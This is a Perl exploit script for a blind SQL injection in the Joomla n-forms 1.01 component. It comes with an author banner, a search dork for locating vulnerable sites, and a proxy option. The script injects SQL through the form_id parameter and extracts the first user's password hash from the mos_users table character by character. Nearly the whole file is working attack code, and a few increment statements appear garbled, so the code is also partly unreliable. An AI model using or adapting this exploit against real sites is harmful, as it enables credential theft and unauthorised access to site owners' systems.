Joomla Component n-forms 1.01 Blind SQL Injection Exploit

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
print " \n";
print " ################################################################\n";
print " # Mambot Component n-forms Blind SQL Injection Exploit #\n";
print " # Author:The Moorish :D #\n";
print " # Greetz:Team-dz,His0k4,x.CJP.x,Kader11000,c02,piRAte DIgitAL#\n";
print " # sites:www.h4cnc.com ,www.dz-secure.com #\n";
print " # Dork: inurl:com_n-forms #\n";
print " # Usage: perl forms.pl host path #\n";
print " # Example: perl forms.pl www.host.com /path/ -f 10 #\n";
print " # #\n";
print " # Options: #\n";
print " # -s Valid form id #\n";
print " # Note: #\n";
print " # You can change the match string if you need that #\n";
print " ################################################################\n";
exit;
}

my $host = $ARGV[0];
my $path = $ARGV[1];
my $userid = 1;
my $fid = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "p=s", "f=i");
print "[~] Exploiting...\n";
if($options{"u"})
{
$userid = $options{"u"};
}
if($options{"f"})
{
$fid = $options{"f"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i )
{
my $f = 0;
my $h = 48;
while(!$f && $h <= 57)
{
if(istrue2($host, $path, $userid, $fid, $i, $h))
{
$f = 1;
syswrite(STDOUT, chr($h), 1);
}
$h ;
}
if(!$f)
{
$h = 97;
while(!$f && $h <= 122)
{
if(istrue2($host, $path, $userid, $fid, $i, $h))
{
$f = 1;
syswrite(STDOUT, chr($h), 1);
}
$h ;
}
}
}
print "\n[~] Exploiting done\n";
sub istrue2
{
my $host = shift;
my $path = shift;
my $uid = shift;
my $fid = shift;
my $i = shift;
my $h = shift;

my $ua = LWP::UserAgent->new;
my $query = "http://".$host.$path."index.php?option=com_n-forms&form_id=".$fid." and ascii(SUBSTRING((SELECT password FROM mos_users LIMIT 0,1 ),".$i.",1))=".$h."";

if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}

my $resp = $ua->get($query);
my $content = $resp->content;
my $regexp = "nfields";

if($content =~ /$regexp/)
{
return 1;
}
else
{
return 0;
}
}